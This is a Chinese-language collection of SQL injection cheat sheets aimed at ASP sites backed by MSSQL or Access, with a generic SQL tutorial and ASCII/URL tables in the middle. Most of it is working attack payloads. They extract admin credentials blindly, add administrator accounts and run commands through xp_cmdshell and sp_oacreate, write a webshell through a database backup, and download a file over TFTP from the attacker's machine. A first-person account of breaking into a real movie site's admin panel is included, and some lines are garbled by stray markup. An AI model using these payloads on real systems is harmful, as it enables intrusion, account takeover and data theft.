总结asp注入时用到的方法  


  1.判断是否有注入  

;and 1=1  

;and 1=2  


  2.初步判断是否是mssql  

;and user>0  


  3.判断数据库系统  

;and (select count(*) from sysobjects)>0 mssql  

;and (select count(*) from msysobjects)>0access  


  4.注入参数是字符  

'and [查询条件] and ''='  


  5.搜索时没过滤参数的  

'and [查询条件] and '%25'='  


  6.猜数据库  

;and (Select Count(*) from [数据库名])>0  


  7.猜字段  

;and (Select Count(字段名) from 数据库名)>0  


  8.猜字段中记录长度  

;and (select top 1 len(字段名) from 数据库名)>0  


  9.(1)猜字段的ascii值(access)  

;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0  


  (2)猜字段的ascii值(mssql)  

;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0  


  10.测试权限结构(mssql)  

;and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--  

;and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--  

;and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--  

;and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--  

;and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--  

;and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--  

;and 1=(SELECT IS_MEMBER('db_owner'));--  


  11.添加mssql和系统的帐户  

;exec master.dbo.sp_addlogin username;--  

;exec master.dbo.sp_password null,username,password;--  

;exec master.dbo.sp_addsrvrolemember sysadmin username;--  

;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--  

;exec master.dbo.xp_cmdshell 'net user username password /add';--  

;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--  


  12.(1)遍历目录  

;create table dirs(paths varchar(100), id int)  

;insert dirs exec master.dbo.xp_dirtree 'c:/'  

;and (select top 1 paths from dirs)>0  

;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)  


  (2)遍历目录  

;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--  

;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器  

;insert into temp(id) exec master.dbo.xp_subdirs 'c:/';--获得子目录列表  

;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';--获得所有子目录的目录树结构  

;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:/web/index.asp';-- 查看文件的内容  


  13.mssql中的存储过程  

xp_regenumvalues 注册表根键, 子键  

;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion/Run'以多个记录集方式返回所有键值  

xp_regread 根键,子键,键值名  

;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','CommonFilesDir'返回制定键的值  

xp_regwrite 根键,子键, 值名, 值类型, 值  

值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型  

;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','TestValueName','reg_sz','hello'写入注册表  

xp_regdeletevalue 根键,子键,值名  

exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','TestValueName' 删除某个值  

xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion/Testkey' 删除键,包括该键下所有值  


  14.mssql的backup创建webshell  

use model  

create table cmd(str image);  

insert into cmd(str) values ('');  

backup database model to disk='c:/l.asp';  


  15.mssql内置函数  

;and (select @@version)>0获得Windows的版本号  

;and user_name()='dbo' 判断当前系统的连接用户是不是sa  

;and (select user_name())>0爆当前系统的连接用户  

;and (select db_name())>0得到当前连接的数据库  


   


  16.简洁的webshell  

use model  

create table cmd(str image);  

insert into cmd(str) values ('');  

backup database model to disk='g:/wwwtest/l.asp';  


请求的时候,像这样子用:  

http://ip/l.asp?c=dir  


   


SQL注入天书 - ASP注入漏洞全接触(小竹)  

http://fox.163n.com/xyhack/hhh/list.asp?id=222  


MSSQL 跨库查询(臭要饭的!黑夜)  

http://fox.163n.com/xyhack/hhh/list.asp?id=66  


榨干MS SQL最后一滴血  

http://fox.163n.com/xyhack/hhh/list.asp?id=309  


SQL语句参考及记录集对象详解  

http://fox.163n.com/xyhack/hhh/list.asp?id=124  


关于SQL Server中存储过程  

http://fox.163n.com/xyhack/hhh/list.asp?id=314  


利用 mssql backup 创建webshell  

http://fox.163n.com/xyhack/hhh/list.asp?id=219  


SQL_Injection高级应用  

http://fox.163n.com/xyhack/hhh/list.asp?id=221  


跨站式SQL注入(老凯(laokai))  

http://fox.163n.com/xyhack/hhh/list.asp?id=383  


怪异的SQL注入(AMANL)  

http://fox.163n.com/xyhack/hhh/list.asp?id=320  


SQL Server应用程序中的高级SQL注入(翻译:青野志狼)  

http://fox.163n.com/xyhack/hhh/list.asp?id=338  


如何利用Sql 注入遍历目录(sinka QQ:20355)  

http://fox.163n.com/xyhack/hhh/list.asp?id=316  


SQL Injection技巧的演练(翻译人: demonalex)  

http://fox.163n.com/xyhack/hhh/list.asp?id=301  


SQL数据库的一些攻击  

http://fox.163n.com/xyhack/hhh/list.asp?id=152  


SQL Injection攻击技术(JSW)  

http://fox.163n.com/xyhack/hhh/list.asp?id=208  


SQL_Injection高级应用(apachy)  

http://fox.163n.com/xyhack/hhh/list.asp?id=221  


SQL注入的不常见方法(桂林老兵)  

http://fox.163n.com/xyhack/hhh/list.asp?id=231  


Backup a shell  

http://fox.163n.com/xyhack/hhh/list.asp?id=274  


谈php+mysql注射语句构造(黑嘿黑·≯Super·Hei)  

http://fox.163n.com/xyhack/hhh/list.asp?id=386  


Advanced SQL Injection with MySQL(angel)  

http://fox.163n.com/xyhack/hhh/list.asp?id=405  


L'injection (My)SQL via PHP  

http://fox.163n.com/xyhack/hhh/list.asp?id=420  



Oracle SQL语言  

http://fox.163n.com/xyhack/hhh/list.asp?id=206  



   


前提需要工具:SQL Query Analyzer和SqlExec Sunx Version  


1.去掉xp_cmdshell扩展过程的方法是使用如下语句:  


if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)  

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'  


2.添加xp_cmdshell扩展过程的方法是使用如下语句:  


(1)SQL Query Analyzer  


sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'  


(2)首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入  


sp_addextendedproc 'xp_cmdshell','xpsql70.dll'  


去除  


sp_dropextendedproc 'xp_cmdshell'  


(3)MSSQL2000  


sp_addextendedproc 'xp_cmdshell','xplog70.dll'   


  


  


=============================================== 

□ 检测可否注入 

=============================================== 

http://url/xx?id=1111and1=1( 正常页面) 

http://url/xx?id=1111and1=2( 出错页面) 


=============================================== 

□ 检测表段的 

=============================================== 

http://url/xx?id=1111andexists(select * from admin)  


=============================================== 

□ 检测字段的 

=============================================== 

http://url/xx?id=1111andexists(selectusernamefromadmin)  


=============================================== 

□ 检测ID 

=============================================== 

http://url/xx?id=1111andexists(selectidfromadminwhereID=1)  


=============================================== 

□ 检测长度的 

=============================================== 

http://url/xx?id=1111andexists(selecti ... len(username)=5andID=1)  


=============================================== 

□ 检测长度的 

=============================================== 

http://url/xx?id=1111andexists(selecti ... len(username)=5andID=1)  


=============================================== 

□ 检测是否为MSSQL数据库 

=============================================== 

http://url/xx?id=1111andexists(select * from sysobjects) 


=============================================== 

□ 检测是否为英文 

=============================================== 

(ACCESS数据库) 

http://url/xx?id=1111andexists(sel ... whereasc(mid(username ,1,1)) between 30 and 130  and  

ID=1)  


(MSSQL数据库) 

http://url/xx?id=1111andexists(selectidf ... icode(substring(username ,1,1)) between 30 and  

130  and  

ID=1)  



=============================================== 

□ 检测英文的范围 

=============================================== 

(ACCESS数据库) 

http://url/xx?id=1111andexists(sel ... whereasc(mid(username ,1,1)) between 90 and 100  and  

ID=1)  


(MSSQL数据库) 

http://url/xx?id=1111andexists(selectidf ... icode(substring(username ,1,1)) between 90 and  

100  and  

ID=1)  


=============================================== 

□ 检测那个字符 

=============================================== 

(ACCESS数据库) 

http://url/xx?id=1111andexists(sel ... whereasc(mid(username ,1,1))=97 and ID=1)  


(MSSQL数据库) 

http://url/xx?id=1111andexists(selectidf ... icode(substring(username ,1,1))=97 and ID=1) 



================================================ 

常用函数 

================================================ 

Access:asc(字符) SQLServer:unicode(字符) 

作用:返回某字符的ASCII码 


Access:chr(数字) SQLServer:nchar(数字) 

作用:与asc相反,根据ASCII码返回字符 


Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L) 

作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串 


Access:abc(数字) SQLServer:abc (数字) 

作用:返回数字的绝对值(在猜解汉字的时候会用到) 


Access:A between B And C SQLServer:A between B And C 

作用:判断A是否界于B与C之间 


and exists(Select top 1 * From 用户 order by id) 



1.在查询结果中显示列名: 

a.用as关键字:select name as '姓名'   from students order by age 

b.直接表示:select name '姓名'   from students order by age 


2.精确查找: 

a.用in限定范围:select * from students where native in ('湖南', '四川')  

b.between...and:select * from students where age between 20 and 30 

c.“=”:select * from students where name = '李山'  

d.like:select * from students where name  like  '李%' (注意查询条件中有“%”,则说明是部分匹配,而且还有先后信 

息在里面, 

即查找以“李”开头的匹配项。所以若查询有“李”的所有对象,应该命令:'%李%';若是第二个字为李,则应为'_李%'或'_ 

李'或'_李_' 

。) 

e.[]匹配检查符:select * from courses where cno like '[AC]%'  

(表示或的关系,与"in(...)"类似,而且"[]"可以表示范围,如:select * from courses where cno like '[A-C]%') 



3.对于时间类型变量的处理 

a.smalldatetime:直接按照字符串处理的方式进行处理,例如: 

 select * from students where birth > = '1980-1-1'  and birth <= '1980-12-31'  



4.集函数 

a.count()求和,如:select count(*)  from students (求学生总人数) 

b.avg(列)求平均,如:select avg(mark)  from grades where cno=’B2’ 

c.max(列)和min(列),求最大与最小 


5.分组group 

常用于统计时,如分组查总数: 

  select gender,count(sno)   

  from students 

  group by gender 

(查看男女学生各有多少) 

注意:从哪种角度分组就从哪列"group by" 

对于多重分组,只需将分组规则罗列。比如查询各届各专业的男女同学人数 ,那么分组规则有:届别(grade)、专业(mno)和 

性别(gender) 

,所以有"group by grade, mno, gender" 

select grade, mno, gender, count(*) 

from students 

group by grade, mno, gender 

通常group还和having联用,比如查询1门课以上不及格的学生,则按学号(sno)分类有: 

select sno,count(*) from grades  

where mark<60 

group by sno 

having count(*)>1  



6.UNION联合 

合并查询结果,如: 

SELECT * FROM students 

WHERE name like ‘张%’ 

UNION [ALL] 

SELECT * FROM students 

WHERE name like ‘李%’ 



7.多表查询 

a.内连接 

select g.sno,s.name,c.coursename  

   from grades g JOIN students s ON g.sno=s.sno 

       JOIN courses c ON  g.cno=c.cno 

(注意可以引用别名) 

b.外连接 

b1.左连接 

select courses.cno,max(coursename),count(sno)  

from courses LEFT JOIN grades ON courses.cno=grades.cno  

group by courses.cno 

左连接特点:显示全部左边表中的所有项目,即使其中有些项中的数据未填写完全。 


左外连接返回那些存在于左表而右表中却没有的行,再加上内连接的行。 

b2.右连接 

与左连接类似 

b3.全连接 

select sno,name,major  

from students FULL JOIN majors ON students.mno=majors.mno 

两边表中的内容全部显示 

c.自身连接 

select c1.cno,c1.coursename,c1.pno,c2.coursename  

from courses c1,courses c2  where c1.pno=c2.cno 

采用别名解决问题。 

d.交叉连接 

select lastname+firstname from lastname CROSS JOIN firstanme 

相当于做笛卡儿积 



8.嵌套查询 

a.用关键字IN,如查询李山的同乡: 

select  *  from students 

where  native  in  (select native from students where name=’ 李山’)  

b.使用关键字EXIST,比如,下面两句是等价的: 

select * from students 

where sno in (select sno from grades where cno=’B2’) 


select * from students where exists   

(select * from grades where  

grades.sno=students.sno AND cno=’B2’) 


  



9.关于排序order 

a.对于排序order,有两种方法:asc升序和desc降序 

b.对于排序order,可以按照查询条件中的某项排列,而且这项可用数字表示,如: 

select sno,count(*) ,avg(mark) from grades  

group by sno 

having avg(mark)>85 

order by 3  


10.其他 

a.对于有空格的识别名称,应该用"[]"括住。 

b.对于某列中没有数据的特定查询可以用null判断,如select sno,courseno from grades where mark IS NULL 

c.注意区分在嵌套查询中使用的any与all的区别,any相当于逻辑运算“||”而all则相当于逻辑运算“&&” 

d.注意在做否定意义的查询是小心进入陷阱: 

如,没有选修‘B2’课程的学生 : 

select students.* 

from students, grades 

where students.sno=grades.sno 

          AND grades.cno <> ’B2’                   

上面的查询方式是错误的,正确方式见下方: 

select * from students 

where not exists  (select * from grades  

where grades.sno=students.sno AND cno='B2')  


11.关于有难度多重嵌套查询的解决思想: 

如,选修了全部课程的学生: 

select * 

from students 

where not exists (       select * 

   from courses 

   where NOT EXISTS  

    (select * 

      from grades 

      where sno=students.sno 

     AND cno=courses.cno)) 

最外一重:从学生表中选,排除那些有课没选的。用not exist。由于讨论对象是课程,所以第二重查询从course表中找,排 

除那些选了课 

的即可。 



  


附件一:URLUnicode表(节选,主要是非字母的字符,RFC1738) 

字符    特殊字符的含义       URL编码  

  #      用来标志特定的文档位置    %23  

  %      对特殊字符进行编码     %25  

  &      分隔不同的变量值对     %26  

  +      在变量值中表示空格     %2B  

  /        表示目录路径          %2F 

  /                                         %5C 

   =      用来连接键和值       %3D  

  ?      表示查询字符串的开始    %3F 

                    空格                    %20 

  .                 句号                    %2E 

  :                冒号                    %3A 


附件二:ASCII表(节选) 

Dec     Hex      Char        Dec     Hex     Char       

                             80      50      P       

32      20      (space)      81      51      Q       

33      21      !            82      52      R       

34      22      "            83      53      S       

35      23      #            84      54      T       

36      24      $            85      55      U       

37      25      %            86      56      V       

38      26      &            87      57      W       

39      27      '            88      58      X       

40      28      (            89      59      Y       

41      29      )            90      5A      Z       

42      2A      *            91      5B      [       

43      2B      +            92      5C      /       

44      2C      ,            93      5D      ]       

45      2D      -            94      5E      ^       

46      2E      .            95      5F      _       

47      2F      /            96      60      `       

48      30      0            97      61      a       

49      31      1            98      62      b       

50      32      2            99      63      c       

51      33      3            100      64      d       

52      34      4                               

53      35      5            101      65      e       

54      36      6            102      66      f       

55      37      7            103      67      g       

56      38      8            104      68      h       

57      39      9            105      69      i       

58      3A      :            106      6A      j       

59      3B      ;            107      6B      k       

60      3C      <            108      6C      l       

61      3D      =            109      6D      m       

62      3E      >            110      6E      n       

63      3F      ?            111      6F      o       

                             112      70      p       

64      40      @            113      72      q       

65      41      A            114      72      r       

66      42      B            115      73      s       

67      43      C            116      74      t       

68      44      D            117      75      u       

69      45      E            118      76      v       

70      46      F            119      77      w       

71      47      G            120      78      x       

72      48      H            121      79      y       

73      49      I            122      7A      z       

74      4A      J            123      7B      {       

75      4B      K            124      7C      |       

76      4C      L            125      7D      }       

77      4D      M            126      7E      ~       

78      4E      N            127      7F      €       

79      4F      O            128      80      €    



  


sql注射技巧整理  


(2004-04-09 16:22)   

猜表过程--------------------------------------------->  

猜测用户名范围:  

http://www.target.com/class.asp?typeid= 喜剧片' and 1=(select id from password where len(name)=猜测位数)and '1  

猜测用户密码范围:  

http://www.target.com/class.asp?typeid= 喜剧片' and 1=(select id from password where len(pwd)=猜测位数)and '1  


详细猜测:  

用户名依次推算:  

http://www.target.com/class.asp?typeid= 喜剧片' and 1=(select id from password where asc(mid(name,1,1))>97) and '1  

继续提交:  

http://www.target.com/class.asp?typeid= 喜剧片' and 1=(select id from password where asc(mid(name,1,1))=100) and '1  

密码位推算  

http://www.target.com/class.asp?typeid= 喜剧片' and 1=(select id from password where asc(mid(pwd,1,1))>97) and '1  

------------------------------------------------------------  

常见测试方法:  

www.target.com/show.asp?id=1;-- (;--在sql语句中表注释)  

www.target.com/show.asp?id=1 or id in (select id from admin)  

如果看到管理员admin表中ID=7,并且密码是admin,也就是长度为5。用最常用的语句带入看看:  


SiteName:good  

SiteUrl:good' and 7=(select id from admin where len(password)=5) and '1  



这样sql语句就变成了:  


select * from FriendSite where SiteName=good and SiteUrl=good' and 7=(select id from admin where len(password)=5) and '1'  



----------------------------------------------------  

第一步:  

在输入用户名处输入单引号,显示  

Microsoft OLE DB Provider for SQL Server 错误 '80040e14'  

字符串 ''' 之前有未闭合的引号。  


/user/wantpws.asp,行63  


说明没有过滤单引号且数据库是MSSQL.  

.  


第二步:  

输入a';use master;--  

显示  

Microsoft OLE DB Provider for SQL Server 错误 '80040e21'  

多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。  


/user/wantpws.asp,行63  

这样说明没有权限了。  

第三步:  

输入:a' or name like 'fff%';--  


第四步:  

在用户名处输入  

ffff' and 1<>(select count(email) from [user]);--  

显示:  

Microsoft OLE DB Provider for SQL Server 错误 '80040e37'  

对象名 'user' 无效。  


/user/wantpws.asp,行96  


说明没有叫user的表,换成users试试成功,同时说明有一个叫email的列.  

(东方飘云的一个办法是输入a' having 1=1--  

一般返回如下也就可以直接得到表名和一个字段名了  

Microsoft OLE DB Provider for SQL Server 错误 '80040e14'  

列 'users.ID' 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。  


/user/wantpws.asp,行63  



)  


现在我们知道了ffff用户的密码是111111.  


下面通过语句得到数据库中的所有表名和字段名。  


第五步:  

输入:  

ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--  

说明:  

上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。  

通过查看ffff的用户资料可得第一个用表叫ad  

然后根据表名ad得到这个表的ID  

ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--  

同上可知id是:581577110  

由于对象标志id是根据由小到大排列的所以我们可以得到所有的用户表的名字了  

象下面这样就可以得到第二个表的名字了  

ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--  


ad 581577110  

users 597577167  

buy 613577224  

car 629577281  

learning 645577338  

log 661577395  

movie 677577452  

movieurl 693577509  

password 709577566  

type 725577623  

talk  


经过一段时间的猜测后我们得到上面的分析一下应该明白password,users是最得要的  


第六步:猜重要表的字段  

输入:  

现在就看看users表有哪些字段  

ffff';update [users] set email=(select top 1 col_name(object_id('users'),3) from users) where name='ffff';--  

得到第三个字段是password  

ffff';update [users] set email=(select top 1 col_name(object_id('users'),4) from users) where name='ffff';--  

得到第四个字段是name  

最后users表的字段共28个全得到了  

(注:另一个得到字段的办法,前提是系统的返回出错信息  

a' group by ID having 1=1--  

得到  

Microsoft OLE DB Provider for SQL Server 错误 '80040e14'  

列 'users.userid' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。  


/user/wantpws.asp,行63  

这个第二个字段就是userid  

显示第三个字段。  

a' group by id,userid having 1=1--  


Microsoft OLE DB Provider for SQL Server 错误 '80040e14'  

列 'users.password' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。  


/user/wantpws.asp,行63  

得到是password  

同理,一直显示出所有。:)  

)  


users表  

1 2 3 4  

id userid password name  


5 6 7 8 9 10 11 12 13 14 15 16  

Province homeaddress city adress starlook sex email nlook nos date money send  


17 18 19 20 21 22 23 24 25 26 27 28  

oklook dnlook lasthits phone askmejoin getmoney payno logintime mflag state post note  



starlook--12 10 2003 2:41PM  

nlook---0  

nos---2 登陆次数  

date--12 10 2003 12:00AM 注册时间?  

money--同上  

send--空  

oklook--0  

dnlook--0  

getmoney--0  

state--0  

note--这家伙很。。。 说明  


password表  

1 2 3  

id name pwd  


然后我又试ad原来是用来记录广告击点的。。  

然后又试password表得到有name和pwd字段。  

执行  

ffff';update [users] set email=(select top 1 name from password) where name='ffff';--  

可得第一个用户名是admin123看样儿多半是管理员了。  

然后又得到了密码是dy***dick188还是打星号算了哈哈...  


这样我们就完全进入了这个电影网站的后台了哈哈。  

http://www.dy ***.com/login.asp  


再进一步还可以知道管理员一共有三人密码也都能看到了。  

ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--  

ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--  


ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--  


------------------------------------------------------------  

数据库猜测测试:  

' or 1=1--  

" or 1=1--  

or 1=1--  

' or 'a'='a  

" or "a"="a  

') or ('a'='a  

-----------------------------------------------------------------------------  

'; exec master..xp_cmdshell 'ping 10.10.1.2'-- //tftp,防火墙,nc,tcpdump..  

'; EXEC master..sp_makewebtask "//目标ip/share/output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"  

UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--  

UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--  

UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--  

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--  

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--  

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--  

UNION SELECT TOP 1 login_name FROM admin_login--  

UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--  

UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--  

UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--  

;UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--  

;INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--  


附件下载: 
http://www.cnwill.com/attachment.php?s=ee07 ... f3fbf3c1aa3&postid=151  



  


  


  [分享]标准注入语句 

1.判断有无注入点 

; and 1=1 and 1=2  



2.猜表一般的表的名称无非是admin adminuser user pass password 等.. 

and 0<>(select count(*) from *) 

and 0<>(select count(*) from admin) ---判断是否存在admin这张表 


3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 

and 0<(select count(*) from admin) 

and 1<(select count(*) from admin) 


4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. 

and 1=(select count(*) from admin where len(*)>0)-- 

and 1=(select count(*) from admin where len(用户字段名称name)>0)  

and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)  


5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 

and 1=(select count(*) from admin where len(*)>0)  

and 1=(select count(*) from admin where len(name)>6) 错误 

and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 

and 1=(select count(*) from admin where len(name)=6) 正确 


and 1=(select count(*) from admin where len(password)>11) 正确 

and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 

and 1=(select count(*) from admin where len(password)=12) 正确 


6.猜解字符 

and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 

and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --  

这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符. 


group by users.id having 1=1--  

group by users.id, users.username, users.password, users.privs having 1=1-- 

; insert into users values( 666, attacker, foobar, 0xffff )-- 


UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable-  

UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)-  

UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-  

UNION SELECT TOP 1 login_blank>_name FROM logintable-  

UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--  


看_blank>服务器打的补丁=出错了打了SP4补丁 

and 1=(select @@VERSION)-- 


看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。 

and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))-- 


判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA) 

and sa=(SELECT System_blank>_user)-- 

and user_blank>_name()=dbo-- 

and 0<>(select user_blank>_name()-- 


看xp_blank>_cmdshell是否删除 

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)-- 


xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复 

;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll-- 

;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:/inetpub/wwwroot/xplog70.dll-- 


反向PING自己实验 

;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--  


加帐号 

;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:/WINNT/system32/cmd.exe /c net user jiaoniang$ 1866574 /add-- 


创建一个虚拟目录E盘:  

;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -w "默认Web站点" -v "e","e:/"-- 


访问属性:(配合写入一个webshell)  

declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a w3svc/1/ROOT/e +browse 



爆库 特殊_blank>技巧::%5c=/ 或者把/和/ 修改%5提交  

and 0<>(select top 1 paths from newtable)--  


得到库名(从1到5都是系统的id,6以上才可以判断) 

and 1=(select name from master.dbo.sysdatabases where dbid=7)-- 

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)  

依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名 


and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin  

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。  

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin  

and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id  

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id  

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in  

(id,...)) 来暴出其他的字段  

and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名  

依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段  


and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)  

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名  

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))  

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值  

and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段  


?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin  

?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用) 


得到WEB路径 

;create table [dbo].[swap] ([swappass][char](255));--  

and (select top 1 swappass from swap)=1-- 

;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/, @value_blank>_name=/, values=@test OUTPUT insert into paths(path) values(@test)-- 

;use ku1;--  

;create table cmd (str image);-- 建立image类型的表cmd 


存在xp_blank>_cmdshell的测试过程:  

;exec master..xp_blank>_cmdshell dir  

;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号 

;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;--  

;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;--  

;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--  

;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;--  

exec master..xp_blank>_servicecontrol start, schedule 启动_blank>服务 

exec master..xp_blank>_servicecontrol start, server  

; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:/WINNT/system32/cmd.exe /c net user jiaoniang$ 1866574 /add  

;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:/WINNT/system32/cmd.exe /c net localgroup administrators jiaoniang$ /add  

; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件 


;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:/  

;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:/  

